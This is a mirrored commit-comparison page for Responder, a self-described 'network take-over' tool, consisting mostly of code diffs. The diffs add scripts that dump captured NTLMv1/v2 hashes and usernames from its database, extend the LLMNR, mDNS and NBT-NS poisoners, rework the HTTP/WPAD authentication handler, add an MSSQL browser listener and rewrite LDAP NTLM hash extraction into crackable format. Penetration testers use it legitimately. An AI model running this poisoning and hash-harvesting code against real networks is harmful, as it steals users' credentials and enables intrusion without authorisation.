mirror of
https://github.com/lgandx/Responder.git
synced 2025-12-07 21:21:34 +00:00
Compare commits
31 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
b37f56264a | ||
|
|
207b0d455c | ||
|
|
679cf65cff | ||
|
|
be26b504b5 | ||
|
|
75aa21bbb9 | ||
|
|
ffca0e2a92 | ||
|
|
33bde41902 | ||
|
|
95c0d6e673 | ||
|
|
0436b47a2c | ||
|
|
5859c31e8e | ||
|
|
bc90f8fe27 | ||
|
|
bff935e71e | ||
|
|
38219e249e | ||
|
|
2223ef6689 | ||
|
|
2a80c7ed9c | ||
|
|
b05bdcab96 | ||
|
|
6f3cc4564c | ||
|
|
2b322b227e | ||
|
|
9440cb3e30 | ||
|
|
21d48be98f | ||
|
|
c9609bd8c6 | ||
|
|
0642999741 | ||
|
|
5f59f2934e | ||
|
|
225857b6ed | ||
|
|
2c32704b85 | ||
|
|
0e3e6f9745 | ||
|
|
0ede767d95 | ||
|
|
de6e869a79 | ||
|
|
cf654ee178 | ||
|
|
5a2ee18bfa | ||
|
|
db61f243c9 |
49
DumpHash.py
Executable file
49
DumpHash.py
Executable file
@@ -0,0 +1,49 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
# This file is part of Responder, a network take-over set of tools
|
||||||
|
# created and maintained by Laurent Gaffie.
|
||||||
|
# email: laurent.gaffie@gmail.com
|
||||||
|
# This program is free software: you can redistribute it and/or modify
|
||||||
|
# it under the terms of the GNU General Public License as published by
|
||||||
|
# the Free Software Foundation, either version 3 of the License, or
|
||||||
|
# (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
# GNU General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
import sqlite3
|
||||||
|
|
||||||
|
def DumpHashToFile(outfile, data):
|
||||||
|
with open(outfile,"w") as dump:
|
||||||
|
dump.write(data)
|
||||||
|
|
||||||
|
def DbConnect():
|
||||||
|
cursor = sqlite3.connect("./Responder.db")
|
||||||
|
return cursor
|
||||||
|
|
||||||
|
def GetResponderCompleteNTLMv2Hash(cursor):
|
||||||
|
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v2%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
|
||||||
|
Output = ""
|
||||||
|
for row in res.fetchall():
|
||||||
|
Output += '{0}'.format(row[0])+'\n'
|
||||||
|
return Output
|
||||||
|
|
||||||
|
def GetResponderCompleteNTLMv1Hash(cursor):
|
||||||
|
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v1%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
|
||||||
|
Output = ""
|
||||||
|
for row in res.fetchall():
|
||||||
|
Output += '{0}'.format(row[0])+'\n'
|
||||||
|
return Output
|
||||||
|
|
||||||
|
cursor = DbConnect()
|
||||||
|
print "Dumping NTLMV2 hashes:"
|
||||||
|
v2 = GetResponderCompleteNTLMv2Hash(cursor)
|
||||||
|
DumpHashToFile("DumpNTLMv2.txt", v2)
|
||||||
|
print v2
|
||||||
|
print "\nDumping NTLMv1 hashes:"
|
||||||
|
v1 = GetResponderCompleteNTLMv1Hash(cursor)
|
||||||
|
DumpHashToFile("DumpNTLMv1.txt", v1)
|
||||||
|
print v1
|
||||||
23
README.md
23
README.md
@@ -1,6 +1,6 @@
|
|||||||
# Responder.py #
|
# Responder/MultiRelay #
|
||||||
|
|
||||||
LLMNR/NBT-NS/mDNS Poisoner
|
LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay.
|
||||||
|
|
||||||
Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.com
|
Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.com
|
||||||
|
|
||||||
@@ -89,7 +89,7 @@ Additionally, all captured hashed are logged into an SQLite database which you c
|
|||||||
|
|
||||||
## Considerations ##
|
## Considerations ##
|
||||||
|
|
||||||
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 and Multicast UDP 5553.
|
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 and Multicast UDP 5553.
|
||||||
|
|
||||||
- If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports.
|
- If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports.
|
||||||
|
|
||||||
@@ -168,9 +168,22 @@ You can contribute to this project by donating to the following BTC address:
|
|||||||
|
|
||||||
1Pv9rZMNfy9hsW19eQhNGs22gY9sf6twjW
|
1Pv9rZMNfy9hsW19eQhNGs22gY9sf6twjW
|
||||||
|
|
||||||
Or via Paypal:
|
|
||||||
|
|
||||||
[](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=F7UDPDKM65Q7A)
|
## Acknowledgments ##
|
||||||
|
|
||||||
|
Late Responder development has been possible because of the donations received from individuals and companies.
|
||||||
|
|
||||||
|
We would like to thanks those major donator:
|
||||||
|
|
||||||
|
- SecureWorks : https://www.secureworks.com/
|
||||||
|
|
||||||
|
- Black Hills Information Security: http://www.blackhillsinfosec.com/
|
||||||
|
|
||||||
|
- TrustedSec: https://www.trustedsec.com/
|
||||||
|
|
||||||
|
- And all, ALL the pentesters around the world who donated to this project.
|
||||||
|
|
||||||
|
Thank you.
|
||||||
|
|
||||||
## Copyright ##
|
## Copyright ##
|
||||||
|
|
||||||
|
|||||||
95
Report.py
Executable file
95
Report.py
Executable file
@@ -0,0 +1,95 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
# This file is part of Responder, a network take-over set of tools
|
||||||
|
# created and maintained by Laurent Gaffie.
|
||||||
|
# email: laurent.gaffie@gmail.com
|
||||||
|
# This program is free software: you can redistribute it and/or modify
|
||||||
|
# it under the terms of the GNU General Public License as published by
|
||||||
|
# the Free Software Foundation, either version 3 of the License, or
|
||||||
|
# (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
# GNU General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
import sqlite3
|
||||||
|
import os
|
||||||
|
|
||||||
|
def color(txt, code = 1, modifier = 0):
|
||||||
|
if txt.startswith('[*]'):
|
||||||
|
settings.Config.PoisonersLogger.warning(txt)
|
||||||
|
elif 'Analyze' in txt:
|
||||||
|
settings.Config.AnalyzeLogger.warning(txt)
|
||||||
|
|
||||||
|
if os.name == 'nt': # No colors for windows...
|
||||||
|
return txt
|
||||||
|
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
||||||
|
|
||||||
|
def DbConnect():
|
||||||
|
cursor = sqlite3.connect("./Responder.db")
|
||||||
|
return cursor
|
||||||
|
|
||||||
|
def GetResponderData(cursor):
|
||||||
|
res = cursor.execute("SELECT * FROM Responder")
|
||||||
|
for row in res.fetchall():
|
||||||
|
print('{0} : {1}, {2}, {3}, {4}, {5}, {6}, {7}, {8}'.format(row[0], row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8]))
|
||||||
|
|
||||||
|
def GetResponderUsernamesStatistic(cursor):
|
||||||
|
res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder")
|
||||||
|
for row in res.fetchall():
|
||||||
|
print color('[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1)
|
||||||
|
|
||||||
|
def GetResponderUsernames(cursor):
|
||||||
|
res = cursor.execute("SELECT DISTINCT user FROM Responder")
|
||||||
|
for row in res.fetchall():
|
||||||
|
print('User account: {0}'.format(row[0]))
|
||||||
|
|
||||||
|
def GetResponderUsernamesWithDetails(cursor):
|
||||||
|
res = cursor.execute("SELECT client, user, module, type, cleartext FROM Responder WHERE UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder) ORDER BY client")
|
||||||
|
for row in res.fetchall():
|
||||||
|
print('IP: {0} module: {1}:{3}\nuser account: {2}'.format(row[0], row[2], row[1], row[3]))
|
||||||
|
|
||||||
|
|
||||||
|
def GetResponderCompleteHash(cursor):
|
||||||
|
res = cursor.execute("SELECT fullhash FROM Responder WHERE UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
|
||||||
|
for row in res.fetchall():
|
||||||
|
print('{0}'.format(row[0]))
|
||||||
|
|
||||||
|
def GetUniqueLookups(cursor):
|
||||||
|
res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner")
|
||||||
|
for row in res.fetchall():
|
||||||
|
print('IP: {0}, Protocol: {1}, Looking for name: {2}'.format(row[2], row[1], row[3]))
|
||||||
|
|
||||||
|
|
||||||
|
def GetStatisticUniqueLookups(cursor):
|
||||||
|
res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)")
|
||||||
|
for row in res.fetchall():
|
||||||
|
print color('[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1)
|
||||||
|
|
||||||
|
|
||||||
|
def SavePoisonersToDb(result):
|
||||||
|
|
||||||
|
for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode']:
|
||||||
|
if not k in result:
|
||||||
|
result[k] = ''
|
||||||
|
|
||||||
|
def SaveToDb(result):
|
||||||
|
|
||||||
|
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
|
||||||
|
if not k in result:
|
||||||
|
result[k] = ''
|
||||||
|
|
||||||
|
cursor = DbConnect()
|
||||||
|
print color("[+] Generating report...", code = 3, modifier = 1)
|
||||||
|
print color("[+] Unique lookups ordered by IP:", code = 2, modifier = 1)
|
||||||
|
GetUniqueLookups(cursor)
|
||||||
|
GetStatisticUniqueLookups(cursor)
|
||||||
|
print color("\n[+] Extracting captured usernames:", code = 2, modifier = 1)
|
||||||
|
GetResponderUsernames(cursor)
|
||||||
|
print color("\n[+] Username details:", code = 2, modifier = 1)
|
||||||
|
GetResponderUsernamesWithDetails(cursor)
|
||||||
|
GetResponderUsernamesStatistic(cursor)
|
||||||
|
#print color("\n[+] Captured hashes:", code = 2, modifier = 1)
|
||||||
|
#GetResponderCompleteHash(cursor)
|
||||||
10
Responder.py
10
Responder.py
@@ -62,6 +62,9 @@ settings.Config.ExpandIPRanges()
|
|||||||
if settings.Config.AnalyzeMode:
|
if settings.Config.AnalyzeMode:
|
||||||
print color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)
|
print color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)
|
||||||
|
|
||||||
|
#Create the DB, before we start Responder.
|
||||||
|
CreateResponderDb()
|
||||||
|
|
||||||
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||||
def server_bind(self):
|
def server_bind(self):
|
||||||
if OsInterfaceIsSupported():
|
if OsInterfaceIsSupported():
|
||||||
@@ -238,8 +241,8 @@ def main():
|
|||||||
threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTP,)))
|
threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTP,)))
|
||||||
|
|
||||||
if settings.Config.SSL_On_Off:
|
if settings.Config.SSL_On_Off:
|
||||||
from servers.HTTP import HTTPS
|
from servers.HTTP import HTTP
|
||||||
threads.append(Thread(target=serve_thread_SSL, args=('', 443, HTTPS,)))
|
threads.append(Thread(target=serve_thread_SSL, args=('', 443, HTTP,)))
|
||||||
|
|
||||||
if settings.Config.WPAD_On_Off:
|
if settings.Config.WPAD_On_Off:
|
||||||
from servers.HTTP_Proxy import HTTP_Proxy
|
from servers.HTTP_Proxy import HTTP_Proxy
|
||||||
@@ -265,8 +268,9 @@ def main():
|
|||||||
threads.append(Thread(target=serve_thread_tcp, args=('', 88, KerbTCP,)))
|
threads.append(Thread(target=serve_thread_tcp, args=('', 88, KerbTCP,)))
|
||||||
|
|
||||||
if settings.Config.SQL_On_Off:
|
if settings.Config.SQL_On_Off:
|
||||||
from servers.MSSQL import MSSQL
|
from servers.MSSQL import MSSQL, MSSQLBrowser
|
||||||
threads.append(Thread(target=serve_thread_tcp, args=('', 1433, MSSQL,)))
|
threads.append(Thread(target=serve_thread_tcp, args=('', 1433, MSSQL,)))
|
||||||
|
threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 1434, MSSQLBrowser,)))
|
||||||
|
|
||||||
if settings.Config.FTP_On_Off:
|
if settings.Config.FTP_On_Off:
|
||||||
from servers.FTP import FTP
|
from servers.FTP import FTP
|
||||||
|
|||||||
35
packets.py
35
packets.py
@@ -1597,4 +1597,39 @@ class SMB2Session2Data(Packet):
|
|||||||
])
|
])
|
||||||
|
|
||||||
|
|
||||||
|
######################FindSMBTime.py##########################
|
||||||
|
class SMBHeaderReq(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Proto", "\xff\x53\x4d\x42"),
|
||||||
|
("Cmd", "\x72"),
|
||||||
|
("Error-Code", "\x00\x00\x00\x00" ),
|
||||||
|
("Flag1", "\x10"),
|
||||||
|
("Flag2", "\x00\x00"),
|
||||||
|
("Pidhigh", "\x00\x00"),
|
||||||
|
("Signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
|
("Reserved", "\x00\x00"),
|
||||||
|
("TID", "\x00\x00"),
|
||||||
|
("PID", "\xff\xfe"),
|
||||||
|
("UID", "\x00\x00"),
|
||||||
|
("MID", "\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
class SMB2NegoReq(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x00"),
|
||||||
|
("Bcc", "\x62\x00"),
|
||||||
|
("Data", "")
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"])))
|
||||||
|
|
||||||
|
class SMB2NegoDataReq(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("StrType","\x02" ),
|
||||||
|
("dialect", "NT LM 0.12\x00"),
|
||||||
|
("StrType1","\x02"),
|
||||||
|
("dialect1", "SMB 2.002\x00"),
|
||||||
|
("StrType2","\x02"),
|
||||||
|
("dialect2", "SMB 2.???\x00"),
|
||||||
|
])
|
||||||
|
|||||||
@@ -62,13 +62,24 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
|
|||||||
if settings.Config.AnalyzeMode:
|
if settings.Config.AnalyzeMode:
|
||||||
LineHeader = "[Analyze mode: LLMNR]"
|
LineHeader = "[Analyze mode: LLMNR]"
|
||||||
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
|
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
|
||||||
|
SavePoisonersToDb({
|
||||||
|
'Poisoner': 'LLMNR',
|
||||||
|
'SentToIp': self.client_address[0],
|
||||||
|
'ForName': Name,
|
||||||
|
'AnalyzeMode': '1',
|
||||||
|
})
|
||||||
else: # Poisoning Mode
|
else: # Poisoning Mode
|
||||||
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
|
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
soc.sendto(str(Buffer), self.client_address)
|
soc.sendto(str(Buffer), self.client_address)
|
||||||
LineHeader = "[*] [LLMNR]"
|
LineHeader = "[*] [LLMNR]"
|
||||||
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
|
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
|
||||||
|
SavePoisonersToDb({
|
||||||
|
'Poisoner': 'LLMNR',
|
||||||
|
'SentToIp': self.client_address[0],
|
||||||
|
'ForName': Name,
|
||||||
|
'AnalyzeMode': '0',
|
||||||
|
})
|
||||||
if Finger is not None:
|
if Finger is not None:
|
||||||
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
|
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
|
||||||
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
|
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
|
||||||
|
|||||||
@@ -51,6 +51,12 @@ class MDNS(BaseRequestHandler):
|
|||||||
if settings.Config.AnalyzeMode: # Analyze Mode
|
if settings.Config.AnalyzeMode: # Analyze Mode
|
||||||
if Parse_IPV6_Addr(data):
|
if Parse_IPV6_Addr(data):
|
||||||
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
|
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
|
||||||
|
SavePoisonersToDb({
|
||||||
|
'Poisoner': 'MDNS',
|
||||||
|
'SentToIp': self.client_address[0],
|
||||||
|
'ForName': Request_Name,
|
||||||
|
'AnalyzeMode': '1',
|
||||||
|
})
|
||||||
else: # Poisoning Mode
|
else: # Poisoning Mode
|
||||||
if Parse_IPV6_Addr(data):
|
if Parse_IPV6_Addr(data):
|
||||||
|
|
||||||
@@ -60,3 +66,9 @@ class MDNS(BaseRequestHandler):
|
|||||||
soc.sendto(str(Buffer), (MADDR, MPORT))
|
soc.sendto(str(Buffer), (MADDR, MPORT))
|
||||||
|
|
||||||
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
|
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
|
||||||
|
SavePoisonersToDb({
|
||||||
|
'Poisoner': 'MDNS',
|
||||||
|
'SentToIp': self.client_address[0],
|
||||||
|
'ForName': Request_Name,
|
||||||
|
'AnalyzeMode': '0',
|
||||||
|
})
|
||||||
|
|||||||
@@ -54,6 +54,12 @@ class NBTNS(BaseRequestHandler):
|
|||||||
if settings.Config.AnalyzeMode: # Analyze Mode
|
if settings.Config.AnalyzeMode: # Analyze Mode
|
||||||
LineHeader = "[Analyze mode: NBT-NS]"
|
LineHeader = "[Analyze mode: NBT-NS]"
|
||||||
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
|
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
|
||||||
|
SavePoisonersToDb({
|
||||||
|
'Poisoner': 'NBT-NS',
|
||||||
|
'SentToIp': self.client_address[0],
|
||||||
|
'ForName': Name,
|
||||||
|
'AnalyzeMode': '1',
|
||||||
|
})
|
||||||
else: # Poisoning Mode
|
else: # Poisoning Mode
|
||||||
Buffer = NBT_Ans()
|
Buffer = NBT_Ans()
|
||||||
Buffer.calculate(data)
|
Buffer.calculate(data)
|
||||||
@@ -62,6 +68,13 @@ class NBTNS(BaseRequestHandler):
|
|||||||
|
|
||||||
print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1)
|
print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1)
|
||||||
|
|
||||||
|
SavePoisonersToDb({
|
||||||
|
'Poisoner': 'NBT-NS',
|
||||||
|
'SentToIp': self.client_address[0],
|
||||||
|
'ForName': Name,
|
||||||
|
'AnalyzeMode': '0',
|
||||||
|
})
|
||||||
|
|
||||||
if Finger is not None:
|
if Finger is not None:
|
||||||
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
|
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
|
||||||
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
|
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
|
||||||
|
|||||||
@@ -266,46 +266,47 @@ class HTTP(BaseRequestHandler):
|
|||||||
|
|
||||||
def handle(self):
|
def handle(self):
|
||||||
try:
|
try:
|
||||||
Challenge = RandomChallenge()
|
Challenge = RandomChallenge()
|
||||||
for x in range(2):
|
|
||||||
|
while True:
|
||||||
self.request.settimeout(3)
|
self.request.settimeout(3)
|
||||||
data = self.request.recv(8092)
|
remaining = 10*1024*1024 #setting max recieve size
|
||||||
|
data = ''
|
||||||
|
while True:
|
||||||
|
buff = ''
|
||||||
|
buff = self.request.recv(8092)
|
||||||
|
if buff == '':
|
||||||
|
break
|
||||||
|
data += buff
|
||||||
|
remaining -= len(buff)
|
||||||
|
if remaining <= 0:
|
||||||
|
break
|
||||||
|
#check if we recieved the full header
|
||||||
|
if data.find('\r\n\r\n') != -1:
|
||||||
|
#we did, now to check if there was anything else in the request besides the header
|
||||||
|
if data.find('Content-Length') == -1:
|
||||||
|
#request contains only header
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
#searching for that content-length field in the header
|
||||||
|
for line in data.split('\r\n'):
|
||||||
|
if line.find('Content-Length') != -1:
|
||||||
|
line = line.strip()
|
||||||
|
remaining = int(line.split(':')[1].strip()) - len(data)
|
||||||
|
|
||||||
|
#now the data variable has the full request
|
||||||
Buffer = WpadCustom(data, self.client_address[0])
|
Buffer = WpadCustom(data, self.client_address[0])
|
||||||
|
|
||||||
if Buffer and settings.Config.Force_WPAD_Auth == False:
|
if Buffer and settings.Config.Force_WPAD_Auth == False:
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
self.request.close()
|
self.request.close()
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
|
print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
|
||||||
|
|
||||||
else:
|
else:
|
||||||
Buffer = PacketSequence(data,self.client_address[0], Challenge)
|
Buffer = PacketSequence(data,self.client_address[0], Challenge)
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
|
|
||||||
except socket.error:
|
except socket.error:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
# HTTPS Server class
|
|
||||||
class HTTPS(StreamRequestHandler):
|
|
||||||
def setup(self):
|
|
||||||
self.exchange = self.request
|
|
||||||
self.rfile = socket._fileobject(self.request, "rb", self.rbufsize)
|
|
||||||
self.wfile = socket._fileobject(self.request, "wb", self.wbufsize)
|
|
||||||
|
|
||||||
def handle(self):
|
|
||||||
try:
|
|
||||||
Challenge = RandomChallenge()
|
|
||||||
data = self.exchange.recv(8092)
|
|
||||||
self.exchange.settimeout(0.5)
|
|
||||||
Buffer = WpadCustom(data,self.client_address[0])
|
|
||||||
|
|
||||||
if Buffer and settings.Config.Force_WPAD_Auth == False:
|
|
||||||
self.exchange.send(Buffer)
|
|
||||||
if settings.Config.Verbose:
|
|
||||||
print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
|
|
||||||
|
|
||||||
else:
|
|
||||||
Buffer = PacketSequence(data,self.client_address[0], Challenge)
|
|
||||||
self.exchange.send(Buffer)
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
|
|
||||||
|
|||||||
102
servers/LDAP.py
102
servers/LDAP.py
@@ -27,37 +27,53 @@ def ParseSearch(data):
|
|||||||
elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
|
elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
|
||||||
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
|
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
|
||||||
|
|
||||||
def ParseLDAPHash(data, client):
|
def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2
|
||||||
SSPIStart = data[42:]
|
SSPIStart = data.find('NTLMSSP')
|
||||||
LMhashLen = struct.unpack('<H',data[54:56])[0]
|
SSPIString = data[SSPIStart:]
|
||||||
|
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
|
||||||
|
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
|
||||||
|
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||||
|
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
|
||||||
|
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
|
||||||
|
|
||||||
if LMhashLen > 10:
|
if NthashLen == 24:
|
||||||
LMhashOffset = struct.unpack('<H',data[58:60])[0]
|
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||||
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
||||||
|
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
||||||
NthashLen = struct.unpack('<H',data[64:66])[0]
|
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||||
NthashOffset = struct.unpack('<H',data[66:68])[0]
|
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
||||||
NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
||||||
|
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||||
DomainLen = struct.unpack('<H',data[72:74])[0]
|
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, Challenge.encode('hex'))
|
||||||
DomainOffset = struct.unpack('<H',data[74:76])[0]
|
|
||||||
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
|
||||||
|
|
||||||
UserLen = struct.unpack('<H',data[80:82])[0]
|
|
||||||
UserOffset = struct.unpack('<H',data[82:84])[0]
|
|
||||||
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
|
||||||
|
|
||||||
WriteHash = User + "::" + Domain + ":" + LMHash + ":" + NtHash + ":" + Challenge.encode('hex')
|
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'LDAP',
|
'module': 'LDAP',
|
||||||
'type': 'NTLMv1',
|
'type': 'NTLMv1-SSP',
|
||||||
'client': client,
|
'client': client,
|
||||||
'user': Domain+'\\'+User,
|
'user': Domain+'\\'+Username,
|
||||||
'hash': NtHash,
|
'hash': SMBHash,
|
||||||
'fullhash': WriteHash,
|
'fullhash': WriteHash,
|
||||||
})
|
})
|
||||||
|
|
||||||
|
if NthashLen > 60:
|
||||||
|
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||||
|
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
||||||
|
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
||||||
|
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||||
|
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
||||||
|
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
||||||
|
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||||
|
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
|
||||||
|
|
||||||
|
SaveToDb({
|
||||||
|
'module': 'LDAP',
|
||||||
|
'type': 'NTLMv2',
|
||||||
|
'client': client,
|
||||||
|
'user': Domain+'\\'+Username,
|
||||||
|
'hash': SMBHash,
|
||||||
|
'fullhash': WriteHash,
|
||||||
|
})
|
||||||
|
|
||||||
if LMhashLen < 2 and settings.Config.Verbose:
|
if LMhashLen < 2 and settings.Config.Verbose:
|
||||||
print text("[LDAP] Ignoring anonymous NTLM authentication")
|
print text("[LDAP] Ignoring anonymous NTLM authentication")
|
||||||
|
|
||||||
@@ -67,7 +83,7 @@ def ParseNTLM(data,client, Challenge):
|
|||||||
NTLMChall.calculate()
|
NTLMChall.calculate()
|
||||||
return str(NTLMChall)
|
return str(NTLMChall)
|
||||||
elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data):
|
elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data):
|
||||||
ParseLDAPHash(data,client)
|
ParseLDAPHash(data, client, Challenge)
|
||||||
|
|
||||||
def ParseLDAPPacket(data, client, Challenge):
|
def ParseLDAPPacket(data, client, Challenge):
|
||||||
if data[1:2] == '\x84':
|
if data[1:2] == '\x84':
|
||||||
@@ -102,19 +118,37 @@ def ParseLDAPPacket(data, client, Challenge):
|
|||||||
elif Operation == "\x63":
|
elif Operation == "\x63":
|
||||||
Buffer = ParseSearch(data)
|
Buffer = ParseSearch(data)
|
||||||
return Buffer
|
